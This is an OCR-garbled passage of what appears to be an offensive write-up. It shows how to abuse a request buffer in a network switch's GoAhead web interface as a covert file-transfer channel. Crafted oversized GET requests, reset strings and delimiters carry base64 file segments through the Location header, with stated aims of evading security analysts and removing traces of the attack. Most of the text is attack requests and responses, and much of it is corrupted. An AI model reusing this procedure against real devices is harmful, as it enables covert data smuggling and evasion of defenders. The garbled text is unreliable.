CJgPeWdfnQpPwSdR8K8ckQtylrPglz7wlUxVg4i4holHo/T34s6loCkjewzYG4Pp2g8aliSf+NfS+fnICQKIEqCYT
DalMq)BWEmMMvLeRSRZE4OSKm+1rZtwbhEUIgllsVz66meolDsInS+yKEZ ZjbPQM4fWiy JCHBKVFBtGlyLwBJQ
Oy+iqyRJhXjghFWevjbZvokl@qgJoohdrlzimjay JyDszEPIS370 T5xA9DNLz95Hsgn

SEG405HArsVZxcYzXToplbBEEQSYyDmMCIUTITEMPupmRERYVHNYBbblY8gNF/ILDWOMMZGz+CaVIigKR
nkjNGzGi8ZY|qBKsVeZHbeSU+iEia7Cb7ptVglLOoie/aBnL JPjpV52RgRN25nrdIAQ35qT /fylgg3CGuWeYopyW
bm71mM/Mh7hMYRw+]JQDK9ePIBpAdlgbydglxRdg8Uc4w+2mY4TPnk7fjnxEZssrlbBxhjO3/AXCzyZIDESgHr
BIICoFSHSKYck5Z8hnPALR4kG JaixJ6Rtaf+IIAk)JcG2BMRIme+6O+rpPpo8ERZkpbpCoKCiz7guw/nlPnbé65Cp
hXHwcYQBrh2jyQYpOIKYIONQuPmsnigxP/NTMSIBpcbvyQYMsASxkVOom39gBtntGEGYd

SEGS5ENDiUeeXzIZ5dpLMQpM+vu7chlblSbfedyYYulG8rloxQYcXuRENTOUVflcqiZ7e2YNGVAUPpe5OY+4Y
Y+Gx3ciMd4zjZeMGeAI819hvGeM+X/injGmD/eMMX24Z4zpwz]j TB/uGWP6cM8Y04d7xpg+3DPCI0CeM
aaHu7t/ACuabcOylmIGAAAAAEIFTkSuQmMmCCFIN

Next, we will.néed to indicate an end of file (EOF) delimiter for our segments. Using the ==
delimiter leveraged by baseb4 tips off what we're up to and may allow any suspicious eyes

(like curious PSIRTs or security analysts) from figuring out what a big problem this attack is.

...but which delimiters should we use?
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DIRECT] VEFOU — Determining File Delimiters and Exploring the Value of C/eve Fuzzing Payloads

We have very quickly created a map of usable characters and a reasonable window size

for DIRECTIVEFOUR.

Usable Characters (rough®): <../;' [I=->";":=+_"123456789123456789

2 ¥-Frame-CUptions: SAMECRIGIN

a°ﬁ12345f"°ﬁ12345f"°ﬁl
°45678ﬁ12345678ﬁ123456?8ﬁ123456?8ﬁ123QEETBGLZSQEETBGLSSQEE?
S91234567891234567891233 40F780 | 234567891234
ETB9 123456768912 S%EEaB'XXXX#wcd<fr=qu=3tUPL;

cstatusCodes=d</statusCode>

1 =deviceStatusCode>0</deviceStatusCode>

2 <statusString=Bequest Is not authenticated</statusString>

</ ActionStatuss>
</RBesponseData

/

From our enumeration and initial spraying, we havesdetermined @ usable “window” size:
~4]0 bytes:

<./ [I=-

> "=+ *1234567891234567891234567891234567891234567891234567891234567891234567
891234567891234567891234567891234567891234567891234567891234567891234567891234
5678912345678912345678%1234567891234567891234567891234567891234567891234567891
234567891234567891234567891234567891234567891234567891234567891234567891234567
891234567891234567891234567891234567891234567891234567891234567891234567891234
56789XXXX

From our payloadiencoding, splitting, and assorted crafting, we have reduced the size of
our encoded baseb4 image chunks (so far) to a miniscule 406 bytes:

SEG1051VBORWOKGEoAAAANSUhEUgAAAREAAAA]CAIAAAASMENLAAAAAXNSROIArsAc6QAAAARNQUIB | Vord Count 2 X
AACKWVBYQUAAAAICERZCWAADSMAAATDACAVGGQAAATVSURBVHhe7Zi/jhxFEIdSEEJejIRNIOEFHIAJKSKR 4=
IkLkDJEhljuzlzu6l1mZv7Z1fDO/ual2p7tnunelZ47fp9aqurgbgrgma2fvProzxvTgnjGmD/eMMX24Z4zpwzlj | werd:
TB/UGWP6CMBY04d7xpg+3DPGIOGeMaYPI4wxfVy4z3578uliGXMV3v78C20ZXIULIBYVH3+ySMe8Be/Fy | cnasa ttn saces

Paragraphs

kewD8f7mliH510/jA3mmf/3wlIFwtXyulDPo3716vUzMQxB3Cy7yOD6QZxrnulo+V+0Z8+DknnlM Lines 5

1

With a usable, safe buffer of 4/0 bytes, we now have 4 remaining characters remaining
within our very limited window to create an effective EOF marker.

*Obvious characters or hard to discern ones (ex. O vs. O) are not used to reduce confusion
in my work. This also serves as a plagiarism detection method.
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Personally, | like leaving myself room for error and expansion, so we are going to use a
simple delimiter that would not look all that out of place and does something very useful
fairly quickly: </>

Constructed Request:

GET
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIZIES5678912345678912345678912345678912345678912345
6789123456789123456789123456789123456789X /1234567 890 xxxxxx X X XXX XXX xxxxx33xx X X XX XXX XX xxxxxx
XXX XXX ¢3¢ xxx:xx X X X KKK I XX 3¢ 3 3 x X XX X XXX X3¢ xx xxx x x:x X XXX XXX xxxx x x x x x x X XXX XXX X x
XXX IKIKXX XX xxxxxxxxxx XX KKK HXK xxxxxxxaxaxx X XXX XX X X xxxxxxxx x XXX Xx cybirpoctest</>/wed?

The result? Exactly what we want to see. Our delimiter® is untouched and our plaintext
marker injection precedingrifthas been preserved:

HTTP/1l.1 302 Redirect
Serwver: Golhead-Webs
Date:

Connection: close
Pracgma: no-—-cache
Cache-Control: no-cache
Content-Types: text/html

X-Frames-
Locationl cybirpoctest</>/wod</requestURL> I
“<3tatus = F-1T- Aen e A

<deviceStatusCode»0</deviceitatusCodes
<gtatusstring»Recquest Is not authenticated</statussStcring:
</hctionStatuss

</ResponseDatas>

)

We have a valid chunked, reliable, segmented file transfer protocol ready to go @ 409
bytes.

One. Byte. To. Spare.

*You can also use the </requestURL> as a valid markup / delimiter. We will abuse this in a
future attack flow.
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DIRECTI VEFOU — STEP-BY-STEP FILE TRANSFER USING A BROWSER ANTEX T EDITOR

Applying our constructed PoC, our reset string, and the following steps, we will reset the
buffer for multi-part file transfer. We will complete a manual walkthrough of our protocol
using provided URL strings & base64 markup. All of this can be executed using system
tools such as TELNET, CURL, or a standard web browser™.

1. The sender or receiver (receiver in this PoC) sends the PoC Reset String to the web interface:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAALZ345678912345678912345678912345678912345678912345
6789123456789123456789123456789123456789X/1234567890/wed?{DictionariesList}

This clear the buffer and “resets” the web application to normal operation.

HTTP/l.1 302 Redirect

Server: GoAhead-Webs
Date:

Connection: close
Pragma: no-cache

Cache-Control: no-cachs
Content-Type: text/html
X-Frame-Options: SAMECRIGIN
Location:

Please update your documents to reflect the new location.
</hody>
</html>

‘Use of BURP repeater or CURL is strongly recommended here. Copy the LOCATION tag

information returned info a text editor or raw file editor.
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2. The sender encodes the chunked file via GET request encoded with our specially crafted URL:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAIZ3456789123456789123456789123456789123456789123456789123456789123456789123456789123456789X /123456789 03000xxx XX XXX XXX xxxxxxxxxx XX
XXX xxxxx300xx3 XXX xxxxxxxxxsx XXX XXX xxxsxxxxxx XXX XXX xxxesexxxxxx XXX X xex s xxxxx KKK XX xxxxxxxsxx XX KKK X xxxxxxx s x KXXKXXX X xxxxxxxxxxX
XXXXXX K oxxxxxxxx XXXXxSEG1051VBORWOKGgoAAAANSUREUGAAAREAAAACAIAAAABMONLAAAAAXNSROIArs4c6QAAAARNQUIBAACxjwv8Y QUAAAA JcEhZcwAADsMA
AA7DAcdvgGQAAATVSURBVHhe7Zi/jhxFEIdSEE JejIRnIOEFH JAKSKRIKLKD JEhljuzlzublimZv7Z1fDO/ua)2p7tnunel Z47fp9aqurgbarama2fvProzxvTgnjGmD/eMMX24Z4zpwzIjTB/uG
WP6cM8Y04d7xpg+3DPGI0CGeMaYP94wxf\Vy4Z3578uUiGXMV3v78C20ZXIULI8yvH3+ySMe8e/FykcwD8f7mliH5l0/jA3mmf/3wliFwtXyulDPo3 Zi6vlUzMQxB3Cy7yOD6QZxrnulo+V
+0Z8+DknnlM</>/wed?

The “upstream” XML processor or web browser displays this markup.

<requestURL>
AAAAAAAAAARAAAAAAAAAAARAAAARAAAAAARAAARARAAAAARRAAARAARAAAAAAAAARAARAAAAARRAAAAR
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARARAAAAAARAAAARAAAAAAAAAAAARRAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAARAAARAARAAAARA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAARAAAAAAAAAAARAAAAARAAARARAAAAR
AAAAAAAARARAAARAAAAAAAAAAAAAAAA AR AR AAAAAAAAAAAAAAAAAAAAAARRRARAARAAAAAAAAARAAARAL
AAAAAAAAARAAAAARAAAAAARAAAAAARAAAAARAAAAARAAAAARRARAAARAAAAAAAAAAARAAAAARRAARAR
AAARAAAAAAAAAAAAAAAAARRAAAAAARAAAAARAAAAARAAAAARAAAAAARARARAARAAARAARAARARARARAR
AAAAAAAAARAAAAAARAAAAARAAAAARAAARAARAAAAARAAAAARRAAAAARARAARARAAARARAAARARAAAARA
AAARAAAAARAAAAARAAAAAARAAAAARAAAAARAAAAARAAAAARAARARAARAAAAARAAAAARAAAARARARAR
AAAAAAAAAAAAAAAARAAAARAAAAAARAAAAAAAAAAARAAAAAARAAAAARAAAARARAAARARAAARARAAAAR
AAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAARAAAAARAAAAAAAAAAARAAAAARRAAARAARRAAAAR
AAAAAAAAAAARAAAAAAAAAAALIZ34567891234567891234567891234567891234567891234567891
456789123456789123456789X/ 1234567890 XXXXXXX XXXXXX

x XXXXX X
CATAAAASBMENLAAAAAXNSROIArs4cEQAAAARNQUIBAACKJwvBYQUAAAAJCEhZcwAADSMAAATDAcdv
VHhe7Zi/JjJhxFEIASEEJejIRnIOEFHJAjkSKRIKLKDJEhIjuzIzuéIlmZv7Z1£fD0O/uadZp7tnunelZ
qrema fvProzxvTgnjGmD/eMMX24Z4zpwzliTB/ uGWPECHMBY04d7xpg+3DPGO0GeMaYPO4wxfVy4Z
e e et H 2 S e B / FykcwDBEf7Tm1iHS To/ JA3mmE /3wl IFwt XyulDPo3716vUzMQOxB3C
ulo+V+0Z8+DknnlM

</>

If executed correctly, ouribaseé4 encéding has fit inside this window and our delimiter indicates
EOF neatly. The </=thas been parsed and leaves us with a clean break in many data processors.

As plaintext:

SEGiI05iVBORWOKGgoAAAANSUREUgAAAREAAAAJCAIAAAABMENLAAAAAXNSROIArs4c6QAAAARNQUIBAACKjwvBY QUAAAA JcEhZcwAADsMAAA7DAcdvgGQAAATVSU
RBVHhe7Zi/jhxFEIJSEE JejiRnI OEFH JAjkSKRIKLKD JEhljuzlzublimZv7Z1fDO/ua)2p7tnunel Z47fp9aqurgbgrgma2fvProzxv TgnjGmD/eMMX24Z 4zpwzliTB/uGWP6cM8Y04d7xpg+3DPG
90GeMayP94wxfVy4Z3578uliGXMV3v78C20ZXIUL98yvH3+ySMe8e/FykcwD8f7mliH5lo/jA3mmf /3wlIFwtXyulDPo3716vUzMQxB3Cy7yOD6QZxrnulo+V+0Z8+DknnIM </>

The receiver then copies this string into a container file when retrieved from the LOCATION tag.
When recreating this attack flow in BURP or CURL, paste the plaintext into a text or raw file editor.
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3. The receiver confirms receipt by sending the “reset” request, clearing the file transfer buffer and
indicating they are ready to receive the next segment:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAIR3456789123456789123456789123456789123456789123456789123456789123456789123456789123456789X /1234567890 /wed?{DictionariesList} HTTP/11

4. The sender continues, encoding the next segment of the chunked file via GET request:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAIZ3456789123456789123456789123456789123456789123456789123456789123456789123456789123456789X
/1234567 890 xxxxxx XXX XXXX X xxx3x3xxx3xx X X KX X HKI XX 31330 %3¢ )X KX XXX HXARX x5 3638303 X)X X HKOKHKX X 3¢ x30x ¢ xx KX XXX X xxxx xx xxxx X
HOKXXX X xx xx3x ¢ x x X ) XXX KKK ¢3¢ x %3¢ ) X ) X KKK 3¢ 3 x )k X X XXX O X ) x X X X XXX XXX x xxxx x x x x XXX Xx SEG205XPFcu3q
G34u/t/UIN5/t//4U34V8tKPXNn/OCDzh82f330fPwbQS Jbwxzffrr8SIIFEUY8iptK /ffacol Qj6OT /cFiIMRIGIPWazInC8XOU3swXaa4bNp )V
GZ1ij/ INtKYiv3gZ AzPVBwPFksCSnDIKWEvgXyel TGTQOFHOQEKXs J+X93Sial fonzSUPArsYKLUdQclod TafKB5hjO2elfybz78gPFERIB /y4d
PPZADYMBDoGWwoES5IhGa/LSZhzRWDjSQWhGKWAVRCUuJLMEEQIMkwmxFZylIH2ZM6Rsx8JQMLcJ8mqjE6hvSrROfngUFtOFxnxFE
KQkOYZTxzmBE6cnGSCHVNEKWHYx920mXG7 Jv38pz8Cu2K78sE4kpCGmdoQxNngGGO+MuN8I</> /wed?

5. The receiver confirms receipt by sending the “reset” request, clearing the file transfer buffer and
indicating they are ready to receive the,next segment:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAIRBA56789123456789123456789123456789123456789123456789123456789123456789123456789123456789X
/1234567890 /wecd?{DictienariesList} HTTP/1.1
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6. The sender / receiver continue this process for the remaining chunks:

SEG305xNNUmMU3KmIVSVYVHAQTnp7MR4jwhZCpRIvocSAIQIp4TzuMWnoA+DOq/LCTaESNzBMwmY ShzKSFnil71F Jxo+uo5O0x/MYET
4jEcTe8MbFMu4J4EQIDIBIDIPpMSO/FTMCI2Q9Zjl7dLEoaBxhDE2eoZ sincLILINC JgPeWdfinQpPwSdR8K8ckQtylrPglz7wUxVg4i4holHo
/T34s6l0CkjcwzYG4Pp2g8aliSt+NfS+fnICQKIEqCYTDalMg)BWEMMvLeRSRZE4OSKm+1rZtwbhEUIglisVz66meolDsInS+yKEZZ joPQM4f
Wiy)JCHBKVFBtGlyLwB JQOy+iqyRJhXjghFWevjbZviklOgJoohdrlzimjay JyDszEP1S370T5xA9DNLz95Hsgn </>

SEG405HArsVZxc)YzXToplbB8EOSyDmCIUTITLMPupmRERYVHNYBbbIY8gNF/ILDWOMMZGz+CaVIigKRnkjNGzGi8ZYIgBKsVeZHb
eSU+iEia7Gb7ptVgLOoie/aBnL)PjpV52RgRN25nrd|AQ35qT/fylgg3CGuWeYopyWbm71ImM/Mh7hMVRw+)QDK9ePIBpAdigbydglxRdg8U
cAw+2mY4TPnk7fjnxEZssrlbBxhjO3/AXCzyZIDESgHrBIICoFSHSKYck5Z8hnPALN4kG Jaix J6Rtaf+IIAk)cG2BMRIme+60+rpPpo8ERZkpb
pCoKGz7guw/nIPn665CphXHwcYQBrh2jyQYpOIKYIONQuUPmsnigxP/NTMSIBpcbvyQYMsA5xkVOom39gBintGEGYd </>

SEGS5END iUeeXzlZ5dpLMQpM-+vu7chl6156fedyYYulG8rloxQYcXuRENTOUVflcqiZ7e2YNCGVAUPpe5OY +4 YY+Cix3¢iMd4 zjZeMCcA98]
9hvGeM+X/injGmD/eMMX24Z4zpwzljTB/uGWP6cM8Y04d7xpg+3DPCGI0CGeMaaHu7t/ AGuabcOylmIGAAAAAEIFTkSUQMCCFIN </

>

7. Finally, the attackers reset the buffer / window so that there is no typically user accessible
indication of this attack. The attackers return the application to normal operatiehpvia crafted
request:

HTTP/1.1 302 Redirect
Server: GoAhead-Webs
Date:

Connection: close
Pragma:
Cache-Contr o-cache
Content-Typ: xt/html
X-Frame-Options: SAMEORIGIN
Location: /config/log off page.htm

<html>
<heac

</head>
<body>

This document has moved to a new <a href="/config/log off_page.htm"> sliali. Switch
cisco p— |
Please update your documents to reflect the new location. Language: [IETTLES

</body>

</html> Secure Browsing (HTTPS)

Our file, shown reassembled through this process in NOTEPAD:

gt Format View Help

SEGloSEVBORWEKGgoAAAANSUREUgAMAREALAA JCATAAAASMEN LAARAAXNSRETAr s4c6QARAARNQUIBAACX JwvBYQUAARAT cERZC
SEG2058P9cu3qG3du/f/ULTI1S / £/ /AU3AVELKPXNnS /OCDzhE82F 338 Pwb(Q5 Ibwxz Ffrr8S11FEUYEfptK/facolQj60T /cFiMF
SEG3o5KNNUmUSKm1vSVYwHAQTnp 7MR4A jwhZGpR1vocSAIQIpdTzuMnol+D8q /LCTaESNzBMwmYShzKSFnil71F Jxo+uoS50x /ME
ArsVixcIYzXToplbBSEOSyDmCIUTITLMPupmRERYVHNYBbb1Y8gNF /1L DWOMMZIGZz+CaVIigKRnkjNGzG18ZYIgBKsVe:
SEGSEN1Uee}(2125dpLI-'erM+vu?ch16156FedyWu168rlonYchRENTDUvFlcqlZ7e2YNGVAUPpeSOYMW%xSc.lMdd-Z]Zel-
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DIRECTIVEFOUR - Protocol Stripping and Decapsulation / Decoding of baseb64 Payloads

If you have completed these steps correctly, copy and pasting the resulting text into a
simple editor, the result should be a text file resembling the one below.

Our delimiters line up well and we can quickly remove them from our file:

Format View Help

SEGLo5f VBORWEKGgZoAAAANSUREUgAMAREAAAA]CATAARAABMENLARLAAXNSRBIArsAc6QAAAARNQUIBAACK JwvBYQUAAALTCERZ
SEG205§P9cu3qG34u/f/ULI15// /4U34VEtKPXn9/0CDzh82F 338 Pwb(QSIbwxzFfrr8S11FEUYBfptk,/ ffacoIje0T/cFiMF
SEG3o5ENNUmU3KmLwSVYVHAQTnp 7MR4 jwhZGpR1voc SAIQIpdTzuMWnol+D8q,/LCTaESNzBMumY ShzKSFnil71F Ixo+uo50x,/MS
ArsVIxcIYzXToplbBBEOSyDmCIUTITLMPupmRERYVHNYBbb1Y8gNF /1L DWOMMZGz+CaVIigKRnk jNGzGi8ZYIqBKsVe:
SEGSEN1UeeXzIZSdpLMQpM+vu?ch16156FedyWul[38r*loxQYchRENTDUv-Flcqu?EZYNGV&UPpeSOYMW+Gx3c1Md42]Zef-

Note: Also remove </> or you're going fo have a bad time.

The complete text of our base64 image is here. If you are reading recreating this
electronically, just cut and paste this into a base64 déceder:

i\VBORWOKGgoAAAANSUREUGAAAREAAAAICAIAAAABMERLAAAAAXNSROIArs4cbQAAAARNQUIBAACxwv8YQUAAAAJCERZ cwAADSMAAATDACAGGQAAATVSURBVHAe? Zi/jhxFEISEE JejRnIOEFHJAjKSKRIKLKDJEhIjuzlzublImZy7 ZIfDO/ua)2p7tnunel Z47fp9aqu
